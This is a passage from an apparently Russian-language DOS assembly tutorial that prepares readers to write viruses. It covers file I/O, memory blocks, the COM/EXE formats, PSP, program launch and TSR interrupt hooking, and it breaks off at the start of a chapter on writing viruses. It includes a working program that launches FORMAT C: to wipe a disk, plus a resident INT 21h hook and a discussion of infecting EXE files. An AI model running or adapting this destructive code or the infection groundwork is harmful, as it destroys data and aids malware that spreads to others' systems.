файла.Если указать AL:=2,  CX:=0,  DX:=0,  то после выполнения
функции указатель чтения/записи переместится на конец файла, а
пара  регистров  DX,AX  будет содержать числовое значение этой
позиции,  т.е. длину файла. Приведем пример программы, которая
считывает  из  начала  файла  FILE.DAT 28 байт и копирует их в
конец этого же файла:

    START:
           PUSH CS
           POP  DS
    ; Открытие файла
           MOV  AH,3Dh
           MOV  AL,2
           MOV  DX,OFFSET FILENA
           INT  21H
           JC   ERROR
    ; Поместить хедер в ВХ
           MOV  BX,AX
    ; Чтение первых 28 байт
           MOV  AH,3Fh
           MOV  CX,28
           MOV  DX,OFFSET BUFER
           INT  21h
           JC   ERROR
    ; Перейти на конец файла
           MOV  AH,42h
           MOV  AL,2
           MOV  CX,0
           MOV  DX,0
           INT  21h
           JC   ERROR
    ; Записать эти байты
           MOV  AH,40h
           MOV  CX,28
           MOV  DX,OFFSET BUFER
           INT  21h
           JC   ERROR
    ; Закрыть файл
           MOV  AH,3Eh
           INT  21h
    ; Завершить программу
    KONEC:
           MOV  AH,4Ch
           INT  21h
    ; Обработка ошибки
    ERROR:
           MOV  AH,9
           MOV  DX,OFFSET STROKA
           INT  21h
           JMP  KONEC
    ; Буфер данных
    BUFER  DB   28 DUP (?)
    ; Сообщение об ошибке
    STROKA DB   'Ошибка!$'
    FILENA DB   'PROBA.EXE',0
           END  START

                  2.2.5.Распределение памяти

    Как мы уже раньше  отмечали  (п.  1.2.  ),  в  оперативной
памяти    ПЭВМ    всегда    присутствует   "пустая"   область,
предназначенная  для  использования  программами.Размер   этой
области  зависит от версии операционной системы,  конфигурации
программного обеспечения и некоторых  других  причин.Каким  же
образом  DOS  помнит,  какие  области  памяти заняты,  а какие
свободны ?
    Дело в  том,  что  с точки зрения операционной системы вся
оперативная память делится на разделы (фрагменты),  каждый  из
которых   "принадлежит"   некоторой   программе.DOS  учитывает
желания  программы-хозяина  увеличить  или  уменьшить   размер
принадлежащей  ей (программе) области,  освободить эту область
или захватить новую и по мере возможности исполняет их.
    "Владение" областью   памяти   со  стороны  той  или  иной
программы   -   это   чисто   джентельменское   соглашение   с
операционной    системой.Вообще    говоря,   любой   программе
совершенно доступен любой фрагмент оперативной  памяти.Сама же
DOS  никогда  не  "полезет"  в  область памяти,  принадлежащую
другой программе.
    Сначала изучим     "законные"    операции    с    памятью,
предоставляемые  операционной  системой  через   все   то   же
прерывание 21h:

    48H-Выделить новый блок памяти
      Вызов:                             Ответ:
            AH:=48h AX-сегмент удачно BX:=размер запрашиваемой
            выделенного блока
                области в 16-байтниках или BX-в случае неудачи
                                             -     максимально
                                             доступный     для
                                             выделения размер
                                             (в 16-байтниках)

    49H-Освободить блок памяти
     Вызов:
            AH:=49h
            ES:=сегмент освобождаемого
                блока

    4AH-Изменить размер блока памяти
     Вызов:                              Ответ:
            AH:=4Ah BX-в  случае  неуBX:=новый желаемый размер
            дачи-максимально
                блока в     16-байтниках    доступный    новый
            ES:=сегмент изменяемого размер
                блока                        ( в 16-байтниках)

    Все эти функции в случае неуспеха выставляют в 1 бит CARRY
регистра  флагов   процессора.Приведем   фрагмент   программы,
захватывающей  и тут же освобождающей максимально большой блок
памяти:
                          ...
             ; Запрос заведомо слишком большой
             ; области памяти
                   MOV AH,48h
                   MOV BX,0FFFFh
                   INT 21h
             ; Захват области максимально возможного
             ; размера
                   MOV AH,48h
                   INT 21h
                   JC  ERROR
             ; Освобождение области памяти
                   MOV ES,AX
                   MOV AH,49h
                   INT 21h
                   JC  ERROR
                          ...

    Перед запуском   любой   программы   операционная  система
автоматически выделяет ей  "приданное"  в  виде  блока  памяти
определенного  размера,  в котором программа хранит свой код и
данные   (точнее,   выделяются   сразу   два   блока,   второй
предназначен  для  так называемой среды и весьма мал) .  После
завершения программы этот блок,  так  же,  как  и  все  другие
блоки,  захваченные программой в течение жизни,  автоматически
освобождаются операционной системой.
    Если бы  программе  (вирусу)  удалось  каким-либо  образом
оставить за собой после "ухода в мир иной"  какой-нибудь  блок
памяти,    то    такая   программа   получила   бы   шанс   на
бессмертие.Существуют как вполне легальные (  с  точки  зрения
DOS  )  способы  продления  жизни программы,  так и "четыреста
сравнительно  честных"  способов  сделать  это  незаметно   от
операционной  системы.Подробней  данный  вопрос  будет освещен
ниже.

                  2.2.6. Выполнение программ

        2.2.6.1. Отличие COM-программ от EXE-программ

    Вообще в DOS понятие "программа"  достаточно расплывчато.К
программам  можно  отнести  и  оверлейные модули,  и системные
драйвера,  и код загрузчика операционной системы...Нас  сейчас
будут  интересовать  только  программы,  хранящиеся на диске в
виде файлов с расширениями .СОМ и .ЕХЕ.
    Они представляют   собой   два  больших  класса  программ,
структура которых и "поведение" несколько различаются.
    Как мы уже рассматривали ранее, в принципе любая программа
может одновременно иметь доступ  к  четырем  разным  сегментам
памяти, адресуемым сегментными регистрами CS,DS,ES и SS.
    Если программа достаточно мала  и  по  суммарному  размеру
кода,  данных  и стека не превышает 64 КБайт,  то удобно иметь
значения   всех    сегментных    регистров    равными,    т.е.
CS=DS=ES=SS.Этот  вырожденный  случай  соответствует программе
СОМ-формата.В противном случае мы имеем  дело  с  ЕХЕ-форматом
программы.
    Программа СОМ-формата обычно  представляет  собой  файл  с
расширением    .СОМ,   начинающийся   с   исполняемых   команд
микропроцессора.Когда    операционная    система     запускает
СОМ-программу,  она  выделяет  ей  из  свободного пространства
максимально возможный блок  памяти  и  устанавливает  значения
регистров ES,DS,SS и CS равным сегментному адресу этого блока.
Затем DOS загружает с  диска  содержимое  файла  в  этот  блок
памяти, начиная со смещения 100h, т.к. в области памяти 0..FFh
ранее размещает  специальную  структуру,  называемую  "префикс
программного сегмента" ( см.  ниже ).И,  наконец, операционная
система инициализирует регистры указателя стека SP  и счетчика
команд  IP,  устанавливая  их  значения  равными 0FFFEh и 100h
соответственно.С этого момента и с адреса  CS:100h  начинается
исполнение  программы.Стек  при  этом занимает самые "дальние"
области общего сегмента.Таким образом,  СОМ-программа имеет  в
памяти вид:


    0          +-------------------------------+
               | Префикс программного сегмента |
                            . . .
    100h       +-------------------------------+
               |   Код и данные программы      |
                            . . .

               |       Стек программы          |
    0FFFFh     +-------------------------------+

    Для того,  чтобы написанная  вами  ассемблерная  программа
приняла .СОМ-формат:
    - код и данные программы разместите в одном общем сегменте;
    - не используйте в программе конструкции SEG;
    - перед первой  исполняемой  командой  программы  вставьте
      директиву

                           ORG 100h

      для того,  чтобы компилятор генерировал ссылки на адреса
      со смещением 100h;
    - откомпилируйте программу командой

                        MASM <Имя программы>
      или
                        TASM <Имя программы>

      для компиляторов MICROSOFT MASM и BORLAND TURBOASSEMBLER
      соответственно;
    - cкомпонуйте программу командой

                        LINK  <Имя программы>
      или
                        TLINK <Имя программы>;

    - преобразуйте получившийся ЕХЕ-файл в СОМ-файл при помощи
      команды

       EXE2BIN <Имя программы.ЕХЕ> <Имя программы.COM>.

    Программа ЕХЕ-формата устроена несколько сложнее.  Для нее
характерна, прежде всего, большая суммарная длина кода, данных
и стека.Разработчики операционной  системы  предусмотрели  для
ЕХЕ  -программ  возможность  назначения  сегментным  регистрам
значений,  отличных от "стандартных",  т.е.  ЕХЕ-программа  не
обязательно  стартует  с адреса CS:100h и не обязательно имеет
вершину стека по адресу SS:0FFFEh.
    Рассмотрим структуру файла, содержащего ЕХЕ-программу:

    +-----------------------------------------------------+
    |                Заголовок ЕХЕ-файла                  |
    +-----------------------------------------------------+
    |             Таблица настройки адресов               |
    +-----------------------------------------------------+
    |                Код, данные и стек                   |
    +-----------------------------------------------------+

    В начале  ЕХЕ-файла  размещается  специальная заголовочная
таблица длиной минимум 28  байтов.В  этой  таблице  содержатся
данные о программе:  длина, расположение ее составных частей в
памяти и пр.:

+----------+--------+---------------------------------------+
| Смещение | Наимен.|               Содержимое              |
+----------+--------+---------------------------------------+
|    0     |     -  | Байты 4D5A ('MZ') - признак ЕХЕ-файла |
|    2     | PartPag| Длина файла по модулю 512             |
|    4     | PageCnt| Длина файла в 512-байтовых страницах  |
|    6     | ReloCnt| Размер настроечной таблицы            |
|    8     | HdrSize| Размер заголовка в 16-байтниках       |
|    10    | MinMem | Минимум требуемой памяти              |
|    12    | MaxMem | Максимум требуемой памяти             |
|    14    | ReloSS | Относительный сегмент стека           |
|    16    | ExeSP  | Смещение указателя стека              |
|    18    | ChkSum | Контрольная сумма файла               |
|    20    | ExeIP  | Смещение точки входа                  |
|    22    | ReloCS | Относительный сегмент точки входа     |
|    24    | TablOff| Смещение настроечной таблицы          |
|    26    | Overlay| Номер оверлейного сегмента            |
+----------+--------+---------------------------------------+

    Первые 2  байта  таблицы  занимает специальная сигнатура (
оригинальный признак ) ЕХЕ-файла.  Наличие в начале файла кода
4D5Ah    свидетельствует    о    том,    что   это   программа
ЕХЕ-формата.Расширение   же   может   быть,   вообще   говоря,
любым.Этот  факт  не  всегда учитывали классики (авторы первых
вирусов),  что  приводило  к  неверному   распознаванию   вида
программы,   и,   как   результат,   к   ее   порче  во  время
заражения.Визуально сигнатура 4D5Ah  выглядит  как  две  рядом
стоящие латинские буквы MZ.  Впрочем,  некоторые ЕХЕ-программы
могут иметь также сигнатуру 5A4D ( ZM ).
    Вслед за  сигнатурой  располагаются  2  двухбайтовых поля,
содержащие информацию о длине ЕХЕ-файла.Поле  PageCnt содержит
размер  файла в 512-байтниках.Если последний 512-байтник файла
не заполнен,  то поле PartPag содержит длину  этого  неполного
"хвостика".Например,  если  длина  ЕХЕ-файла  составляет 12345
(3039h) байт, это означает, что PageCnt=25 (18h),а PartPag=455
(1C7h).  Длина, рассчитанная при помощи значений полей PartPag
и PageCnt,  может и не совпадать с реальной длиной файла.Такие
ЕХЕ-программы называется сегментированными,  классики ( авторы
первых вирусов ) не всегда подозревали  об  их  существовании,
что    также    нередко    приводило    к   порче   заражаемых
программ.Вообще,     сегментированные     программы      очень
чувствительны  к заражению ,  и правильно поступают те вирусы,
которые обходят эти капризные ЕХЕ-шники стороной.
    Поле ReloCnt  содержит  размер  таблицы  настройки адресов
(см. ниже ).
    Поле HdrSize   содержит   суммарную   длину  (заголовочная
таблица+таблица    настройки    адресов)    служебной    части
ЕХЕ-программы   в   16-тибайтниках.Т.е.  это  число  позволяет
вычислить начало (базовый сегмент) собственно программы (кода,
стека и данных).
    Поля MinMem и MaxMem содержат минимальный  и  максимальный
размеры   блока  памяти  в  килобайтах,  который  операционная
система  DOS  выделит  программе  в   пользование   во   время
запуска.Если  свободной  памяти  при  этом  меньше MinMem,  то
программа вообще не запустится.
    Поле ReloSS  содержит количество 16-байтников,  на которое
сегмент стека должен будет отстоять от базового сегмента.
    Поле ExeSP содержит начальное значение указателя стека.Это
число будет загружено  в  регистр  SP.  Поле  ChkSum  содержит
контрольную сумму,  позволяющую операционной системе проверять
целостность ЕХЕ-файла.Но на  практике  DOS  этого  не  делает,
поэтому  на  выполнение  программы значение поля ChkSum никоим
образом не влияет.
    Поле ExeIP содержит начальное значение счетчика команд.Это
число будет загружено в регистр IP.
    Поле ReloCS  содержит количество 16-байтников,  на которое
сегмент стека должен будет отстоять от базового сегмента.
    Поле TablOff   содержит  адрес  начала  таблицы  настройки
адресов.
    Поле Overlay  содержит  номер оверлейного сегмента.Для нас
особого интереса значение этого поля не представляет.

    Вслед за   заголовочной   таблицей   размещается   таблица
настройки  ( RELOCATION TABLE ).Она содержит ReloCnt пар чисел
вида  {  смещение,  добавка  }.В  момент  загрузки   программы
операционная   система   будет  прибавлять  к  словам  памяти,
заданным компонентой "смещение" значения, заданные компонентой
"добавка".
    Попытаемся разобраться    в    структуре     какого-нибудь
конкретного  ЕХЕ-файла на основе информации,  хранящейся в его
заголовке.Это умение очень  пригодится  нам,  когда  мы  будем
изучать методы заражения ЕХЕ-файлов.
    Наберите файл  следующего  содержания  и  озаглавьте  его,
например, EXEPROG.ASM:

;
; Пример программы, имеющей ЕХЕ-формат
;
DSEG SEGMENT
     MESS    DB   'Привет!$'
DSEG ENDS
;
CSEG SEGMENT
     ASSUME CS:CSEG
     START  PROC FAR
            MOV  AX,SEG DSEG
            MOV  DS,AX
            MOV  AH,9
            MOV  DX,OFFSET MESS
            INT  21H
            MOV  AH,4CH
            INT  21H
     START  ENDP	
CSEG ENDS
;
SSEG SEGMENT PARA STACK
     ASSUME SS:SSEG
            DB   100H DUP ('0')
SSEG ENDS
;
END START

    Эта программа      должна      выводить      на      экран
"Привет!".Откомпилируйте эту программу при помощи команды

                        MASM EXEPROG;
                           или
                        TASM EXEPROG

    , а вслед за этим скомпонуйте при помощи команды

                        LINK EXEPROG
                           или
                        TLINK EXEPROG;

    У Вас   должен  получиться  файл  EXEPROG.EXE  длиной  800
байт.Теперь нам  необходимо  просмотреть  содержимое  файла  в
16-ричном  формате.Это  наиболее  удобно  сделать  при  помощи
широко  распространенной   утилиты   HIEW.Впрочем,   16-ричный
просмотр  файлов  предусмотрен  и в "почти стандартном" вьюере
VPVIEW.На худой конец сгодится и PCTOOLS версий  старше 3.0.Вы
обнаружите,  что начало файла (первые 28 байтов) выглядят так:

00000000:  4D 5A 20 01 02 00 01 00 20 00 00 00 FF FF 02 00
00000010:  00 01 68 76 00 00 01 00 1E 00 00 00

Это означает:

              +----------+--------+------------+
              | Смещение | Наимен.|  Значение  |
              +----------+--------+------------+
              |    0     |     -  |  4D5Ah     |
              |    2     | PartPag|   120h     |
              |    4     | PageCnt|     2      |
              |    6     | ReloCnt|     1      |
              |    8     | HdrSize|    20h     |
              |    10    | MinMem |     0      |
              |    12    | MaxMem | 0FFFFh     |
              |    14    | ReloSS |     2      |
              |    16    | ExeSP  |   100h     |
              |    18    | ChkSum |  7668h     |
              |    20    | ExeIP  |     0      |
              |    22    | ReloCS |     1      |
              |    24    | TablOff|    14h     |
              |    26    | Overlay|     0      |
              +----------+--------+------------+

    Вычислим длину файла по заголовку: ( 2-1)*200Н+120Н=1*512+
288=800 байт,  т.е.  расчетная  длина  совпадает  с  истинной.
    Настроечная  таблица  содержит один элемент.  Т.к.  размер
    заголовка 20H 16-байтников, то собственно на
чало программы  (  базовый  сегмент  )  располагается  в файле
начиная с 32*16=512 -го по счету байта.
    Исполняемые команды    располагаются   на   расстоянии   1
16-байтник от   базы,   т.е.   в    файле    первую    команду
микропроцессора ищем по адресу 528.
    Стековый сегмент отстоит от базы на 2 16-байтника.Под стек
резервируется 100Н байт.

    Во время  загрузки  ЕХЕ-программы  в  память  операционная
система  по-прежнему  адреса  0-FFH   занимает   под   префикс
программного сегмента.Дальше размещается собственно программа,
т.е.  часть  ЕХЕ-файла  без  заголовка.Одновременно  некоторые
слова  загружаемой  программы  модифицирутся  в соответствии с
содержимым настроечной таблицы.Наконец, сегментные регистры ES
и  DS инициализирутся значением сегмента префикса программы, в
CS  и  SS  помещаются  значения  DS+16+ReloCS  и  DS+16+ReloSS
соответственно,  а  в  IP  и  SP  загружаются  ExeIP  и  ExeSP
соответственно.
    В дальнейшем,   если   не   оговорено   особо,   мы  будем
предполагать, что все наши программы имеют СОМ-формат.

            2.2.6.2. Префикс программного сегмента

    Настало время выяснить,  что же такое префикс программного
сегмента,  который  занимает  первые  100h  ( 256 ) байт блока
памяти,  предназначенной для  загрузки  программ.Это  таблица,
содержащая  ряд  важных  для  операционной  системы параметров
программы.  Нередко в литературе  можно  встретить  английскую
аббревиатуру  названия  этой  таблицы - PSP,  так в дальнейшем
будем называть ее и мы.  PSP имеет достаточно сложный  формат;
более    того,    ряд    полей    этой    таблицы    считаются
"недокументированными", т.е. информацию об их содержимом можно
найти  далеко  не  везде.Мы  рассмотрим  только  те  поля PSP,
которые важны для нас в свете поставленной проблемы.

    +---------+-----+------------------------------------+
    | Смещение|Длина|            Содержимое              |
    +---------+-----+------------------------------------+
    |  00     |  2  | Команда INT 20H  ( 20CDh)          |
    |  02     |  2  | Размер доступной DOS памяти в 16-б |
    |  05     |  5  | Команда вызова функций DOS         |
    |  10     |  4  | Адрес процедуры завершения         |
    |  14     |  4  | Адрес обработчика CTRL-BREAK       |
    |  18     |  4  | Адрес обработчика критич. ошибок   |
    |  44     |  2  | Сегмент копии среды                |
    | 128     |128  | Область командной строки           |
    +---------+-----+------------------------------------+

    В самом начале PSP два байта занимает машинный код команды
INT  20h.  Вспомним,  что  эта   команда   предназначена   для
завершения   работы   программы   и   возвращения   управления
операционной системе.  Т.о. для завершния программы достаточно
выполнить переход по адресу PSP :  0. Для программ COM-формата
все сегментные регистры содержат  сегментный  адрес  PSP.Кроме
того,  при  запуске программ стек никогда не бывает совершенно
пуст:  операционная система всегда изначально помещает в  стек
число  0,  что  позволяет  выходить  из  СОМ-программ  простой
командой RET:

           CSEG SEGMENT
                ASSUME CS:CSEG,DS:CSEG,SS:CSEG
                ORG 100h ; Резерв 256 слов для PSP START:
                MOV    AH,9
                MOV    DX,OFFSET MESSAG
                INT    21H
                RET ;  Переход на PSP:0 !!! MESSAG DB 'Ку-Ку!'
           CSEG ENDS
                END    START

    К сожалению в ЕХЕ-программе кодовый сегмент не совпадает с
сегментом  PSP,  и  завершать такого рода программы приходится
при помощи функции 4Сh 21-го прерывания.
    Начиная с  44-го  байта располагается значение сегментного
адреса копии системной  среды.Дело  в  том,  что  операционная
система  DOS предоставляет всем программам пакет общих данных,
именуемый средой (ENVIRONMENT).  Содержимое среды  зависит  от
содержимого файла AUTOEXEC.BAT.Пусть этот файл имеет вид:

                SET    PATH=C:;C:\DOS;C:\NC;C:\NU;C:\CW;C:\LEX
                SET    TEXT=C:\LEX    SET     NC=C:\NC     SET
                SYMANTEC=C:\NU SET CHIFILES=C:\CW NC

    Тогда DOS  в  момент  своего "рождения" сформирует среду в
виде:

                PATH=C:;C:\DOS;C:\NC;C:\NU;C:\CW;C:\LEX
                TEXT=C:\LEX       NC=C:\NC      SYMANTEC=C:\NU
                CHIFILES=C:\CW

    В дальнейшем "в приданное"  каждой  запускаемой  программе
будет даваться 2 блока памяти: один ( большой ) для собственно
программы и второй (маленький) для копии среды.Доступ к своему
блоку  среды  программа  может  получить именно по сегментному
адресу, хранящемуся в PSP.
    В конце  копии  среды ( после байтов 0,1,0 ) DOS размещает
еще полное имя программы-хозяйки,  что может быть использовано
для самоидентификации программы.Нижеприведенная программа, как
ее не переименовывай, всегда будет знать свое новое имя:

                CSEG SEGMENT
                ASSUME CS:CSEG,DS:CSEG,SS:CSEG
                ORG  100h
        START:
                MOV  AX,[44]
                MOV  ES,AX
                MOV  SI,0
        LOOPF:
                CMP  ES:BYTE PTR [SI],1
                JE   NAIDEN
                INC  SI
                JMP  LOOPF
        NAIDEN:
                INC  SI
        LOOPP:
                MOV  AL,ES:BYTE PTR [SI]
                CMP  AL,0
                JE   KONEC
                INT  29h
                INC  SI
                JMP  LOOPP
        KONEC:
                RET
                CSEG ENDS
        END     START

    Начиная со смещения  80h  (  128  )  в  PSP  располагается
область   памяти,   в   которую  помещается  командная  строка
программы.  Если программа запускается без параметров,  то эта
область, как правило, пуста.

            2.2.6.3. Запуск и завершение программ

    Мы с Вами уже созрели для того, чтобы попытаться выяснить,
что же все-таки происходит непосредственно вслед за  тем,  как
пользователь  недрогнувшим  шаловливым  пальчиком  выбирает  в
NORTON COMMANDER'е  желаемую  программу  и  нажимает  клавишку
ENTER.  Мы  уже  знаем,  что  в процессе запуска новорожденной
программе выделяются 2 блока памяти:  1) для копии среды и  2)
для  PSP  и  собственно  программы;  после  загрузки  в память
устанавливаются в определенное значение некоторые  регистры  и
управление   передается   на   первую  команду  программы.Этим
занимается   системный   модуль    COMMAND.COM.    Мы    можем
смоделировать этот процесс.Оказывается, запуск новой программы
выполняется  при  помощи  стандартной  процедуры,   вызываемой
посредством функции 4Вh все того же 21-го прерывания DOS:

   4Bh - выполнить программу
    Вызов:                                Ответ:
     AH:=4Bh
     AL:=0
     DS:DX:=Адрес имени программы
     ES:BX:=Адрес блока доп. параметров

    Блок дополнительных  параметров  -  это  14  байт  памяти,
содержащих следующую информацию:

     +--------+-----+--------------------------------------+
     |Смещение|Длина|          Содержимое                  |
     +--------+-----+--------------------------------------+
     |   0    |  2  |Сегмент среды, если 0, то стандартный |
     |   2    |  4  |Сегмент:Смещение командной строки     |
     |   6    |  4  |Сегмент:Смещение FCB1                 |
     |  10    |  4  |Сегмент:Смещение FCB2                 |
     +--------+-----+--------------------------------------+

   Для запускаемой таким образом программы  можно сформировать
оригинальную   ENVIRONMENT   по  образцу,  приведенному  в  п.
2.2.6.2.  В этом случае укажите сегмент этого блока  памяти  в
начале   блока   дополнительных   параметров.Если   Вы  хотите
воспользоваться  "стандартной"  средой,  т.е.   той,   которой
владеет программа-хозяйка, просто оставьте в этой позиции 0.
    Если Вы   хотите,   чтобы    программа    запускалась    с
какими-нибудь  параметрами,  сформируйте  командную  строку  и
поместите ее полный  адрес  в  формате  <Сегмент:Смещение>  во
второй позиции таблицы.
    Две последние позиции таблицы мы обсуждать здесь не будем.
Вполне достаточно для запуска программы просто обнулить их.
    Важно отметить   две   особенности   функции   4Bh   21-го
прерывания:
    1) Эта функция сама не распределяет память;
    2) Эта функция портит значения SP и SS.

    Для демонстрации  возможностей данной функции предлагается
простой пример:

;-------------------------------------------------------------
; Программа,  запускающая форматирование диска C:.Если Вы сме-
; лый человек, то можете запустить ее на своем компьютере.
;-------------------------------------------------------------
CSEG  SEGMENT
      ASSUME CS:CSEG,DS:CSEG,SS:CSEG
      ORG    100H
START:
; Назначаем новый стек
      CLI
      MOV    SP,OFFSET FINISH
      STI
; Уменьшаем текущий блок памяти
; до реальных размеров программы
; ( на него уже указывает ES )
      MOV    AH,4AH
      MOV    BX,17+(FINISH-START)/16
      INT    21H
; Выдаем стартовое сообщение
      MOV    AH,9
      MOV    DX,OFFSET SLOWO1
      INT    21H
; Формируем адрес командной
; строки
      MOV    OFSPAR,OFFSET PARAM
      PUSH   DS
      POP    SEGPAR
; Формируем регистры для запуска
      MOV    AH,4Bh
      MOV    AL,0
      MOV    DX,OFFSET FILENA
      MOV    BX,OFFSET BLOCKP
; Собственно запуск
      INT    21H
; После отработки программы FORMAT
; управление опять возвращается в
; программу-хозяйку.
; Теперь восстанавливаем стек.
      CLI
      PUSH   CS
      POP    SS
      MOV    SP,OFFSET FINISH
      STI
; Выдаем финальное сообщение
      MOV    AH,9
      MOV    DX,OFFSET SLOWO2
      INT    21H
; Завершаем программу
      INT    20H
; Данные программы
SLOWO1 DB 13,10,'Сейчас запустим...',13,10,'$'
SLOWO2 DB 13,10,'Успешно завершились',13,10,'$'
FILENA DB 'C:\DOS\FORMAT.COM',0
PARAM  DB ' C:',0
BLOCKP DW 0
OFSPAR DW ?
SEGPAR DW ?
       DW 0,0,0,0
; Здесь будет размещаться новый стек
NEWST:
       DW 64 DUP (?)
FINISH:
CSEG   ENDS

    По видимому,  необходимо   пояснить   некоторые   моменты,
касающиеся вышеприведенной программы:

    1) Начальная   переустановка   стека.   Дело  в  том,  что
программа имеет СОМ-формат,  т.е.  стек располагается в том-же
сегменте,  что и код и данные, а дно стека размещается в конце
этого сегмента.Получаетя,  что программа занимает в памяти  не
несколько сотен байт, а полностью все 64 КБайт:

                       +-------------+  0
                       |    PSP      |
                       +-------------+  256=100h
                       | Код и данные|
                           .......
                       |             |
                       |    Стек     |
                       +-------------+  65536=64KБ

    При помощи переустановки  указателя  стека  SP  мы  сильно
смещаем  дно  стека  в направлении к началу программы,  будучи
уверены,  что несколько десятков слов памяти под  стек  нам  с
лихвой хватит.

    2) Перераспределение  памяти.  Коль скоро мы переназначили
стек,  вся программа в памяти будет занимать  всего  несколько
сотен байт.Эта величина вычиляется как:  FINISH-START плюс 256
байт  для  PSP.Функции   4Ah   требуется   размер   памяти   в
16-байтниках,  поэтому  мы  делим  полученный  размер  на 16 и
добавляем  еще  16-байтник,  чтобы  компенсировать   возможное
округление частного.

    Запущенная при  помощи  функции 4Bh программа выполняется,
пока не встретит одну из следующих последовательностей команд:

                          MOV AH,4Ch
                          INT 21h

                             или

                          MOV AH,0
                          INT 21h

                             или

                          INT 20h

    Все это  возможные  способы  завершения   программ.Получив
команду  завершения,  программа  освобождает все занимаемые ей
области       памяти       и       возвращает       управление
программе-хозяйке.Обычно     хозяйкой    является    программа
COMMAND.COM.

                2.2.6.4. Резидентные программы

    Все программы,  о которых  мы  говорили  ранее,  во  время
завершения  "гибнут  насмерть",  т.е.  возвращают операционной
ситеме  всю  память,  которой  владеют.  Это  так   называемые
транзиентные   программы.Существует  возможность  оставить  за
программой занимаемую ей память.  В этом случае программа  как
бы  остается  жить  в замороженном состоянии.  Такие программы
называются резидентными.Если такая программа содержит  в  себе
процедуру-обработчик    какого-нибудь   прерывания,   то   при
инициации этого прерывания она оживает !  Именно так  устроены
резидентные   драйвера   -   программы   обслуживания  внешних
устройств,  например драйвер мыши  MOUSE,  драйвер-русификатор
клавиатуры KEYRUS и пр. Вообще -то понятие "драйвер" в строгом
смысле относится лишь к специальному виду  системных  программ
типа ANSI. SYS, но, я думаю, читатель простит автору некоторые
неточности  в  терминологии,  тем  более  что  он  в  процессе
изложения  материала  допустил  и  будет еще допускать гораздо
более "страшные" вольности.
    Резидентная программа    должна   завершиться   одним   из
следующих способов:

                    INT 27h

                      или

                    MOV AH,31h
                    INT 21h

      При этом:
    1) для INT 27h в регистре DX должен быть указан  размер  в
байтах оставляемой за программой памяти;
    2) для функции 31h прерывания INT 21h в регистре  DX дожен
быть  указан  размер  в  16-байтниках отавляемой за программой
памяти.
    Оставленная резидентно в памяти программа может быть легко
обнаружена при помощи специальных утилит типа MEM или  VTSR  и
удалена из памяти при помощи утилиты RELEASE.
    Приведем пример   резидентной   программы.Эта    программа
остается в памяти и представляет собой ничто иное,  как наглый
обработчик того самого прерывания 21h.  Разумеется,  программа
не претендует на обработку всех сотен функций,  как это делает
оригинальный  DOS-обработчик.Мы   будем   отслеживать   только
функцию  4Bh  (  запуск  программ ) и печатать имя запускаемой
программы:

CSEG   SEGMENT
       ASSUME CS:CSEG,DS:CSEG,SS:CSEG
       ORG    100h
START:
       JMP    INSTALL
; Это процедура обработки прерывания 21h
INT21:
       CMP    AH,4Bh ; Запуск ?
       JE     PRINT ; Да - на печать
; Это команда передачи управления
; оригинальному обработчику INT21h.
; Пока значения сегмента и смещения
; для перехода нам не известны.
ORIGIN:
       DB     0EAh
OFS21  DW     ?
SEG21  DW     ?
; Здесь мы печатаем имя запускаемой
; программы
PRINT:
; Сохраняем в стеке все регистры,
; которые временно используем
       PUSH   AX
       PUSH   DX
       PUSH   SI
; Не забудьте: DS:DX указывает
; на имя программы !
       MOV    SI,DX
; Это цикл печати символов, пока
; не всретится 0 - конец строки
POVTOR:
       CMP    BYTE PTR [SI],0
       JZ     DALSHE
       MOV    DL,BYTE PTR [SI]
; Функция 2 прерывания 21h печатает
; символ из DL. Прерыванием 29h мы
; в резидентном перехватчике INT21
; пользоваться не можем.
       MOV    AH,2
; Это неявный вызов оригинального
; обработчика прерывания 21h
       PUSHF
       CALL   CS:DWORD PTR OFS21
; Переход к следующему символу
       INC    SI
       JMP    POVTOR
DALSHE:
; Восстановим все регистры
       POP    SI
       POP    DX
       POP    AX
; И вернем управление оригинальному
; обработчику прерывания 21h
      JMP     ORIGIN
;----------------------------------
; Это транзиентная часть программы.
; Ее не обязательно оставлять в
; памяти вместе с обработчиком пре-
; рывания 21h.
INSTALL:
; Узнаем адрес оригинального DOS-об-
; работчика прерывания 21h.Он будет
; возвращен в ES:BX
       MOV    AH,35h
       MOV    AL,21h
       INT    21h
; Заполняем конкретные значения
; сегмента и смещения в команде
; перехода
       MOV    OFS21,BX
       MOV    SEG21,ES
; Назначаем новый обработчик для
; прерывания 21h
       MOV    AH,25h
       MOV    AL,21h
       MOV    DX,OFFSET INT21
       INT    21h
; Указываем размер оставляемого
; в памяти фрагмента. Он равен
; значению адреса первой транзи-
; ентной команды.
       MOV    DX,OFFSET INSTALL
; И оставляем обработчик резидентно !
       INT    27h
;
CSEG   ENDS

    При помощи  данной программы Вы можете исследовать процесс
запуска операционной ситемой других программ  и  узнать  много
интересного.Например,  если  на  вашем  компьютере установлена
оболочка NORTON  COMMANDER,  убедитесь  как  часто  в  течение
сеанса работы запускается программа NCMAIN.EXE. Подозревали ли
Вы об этом ?

                     3. Написание вирусов

                     3.1. Что такое вирус

    Вирус- это программа, которая:
    - способна размножаться,  т.е. создавать свои копии, также
способные к размножению;
    - существует,  используя  в качестве среды обитания другие
программы.
    Легко написать  программу,  которая  создает  свои  копию,
помещая ее в файл с  другим  именем.  Но  такая  программа  не
является вирусом,  ибо не "паразитирует" на других программах.
    От вирусов следует  отличать  т.н.  "троянские  фрагменты"
программ.  Троянский фрагмент- это фрагмент алгоритма, который
способен выполнять несанкционированные,  т.е.  не  оговоренные
заранее действия.  Например, желая подшутить над товарищем, Вы
вставили в текст его программы  команду,  выводящую  на  экран
сообщение  "Иванов  дурак",  а  он  этого  не  заметил.  Такой
фрагмент также не имеет никакого отношения к вирусам,  ибо  не
способен к саморазмножению.
    Другое дело,  что  некоторые  вирусы   содержат   в   себе
троянские  фрагменты  и могут вставлять их в другие программы.
Но это свойство вирусов не является определяющим.
    Программа, которая  содержит  в  себе  жизнеспособный  код
вируса,  называется зараженной.  Программы, испытавшие на себе
воздействие   вируса   ,но  не  содержащие  в  себе  вирусного
фрагмента,  способного  к  размножению,   условимся   называть
пораженными (испорченными).

                   3.2. Какие бывают вирусы

    Вирусы бывают:
    - файловые;
    - загрузочные;
    - комбинированные.
    Средой обитания   файловых   вирусов  являются  программы,
оформленные в виде ЕХЕ-, СОМ- и некоторых других типов файлов.
    Существуют программы,  не  оформленные  в виде файлов.  Их
команды находятся в системных областях винчестеров  и  дискет.
Именно  на таких программах паразитируют загрузочные (бутовые)
вирусы.
    Комбинированные вирусы сочетают в себе признаки и файловых
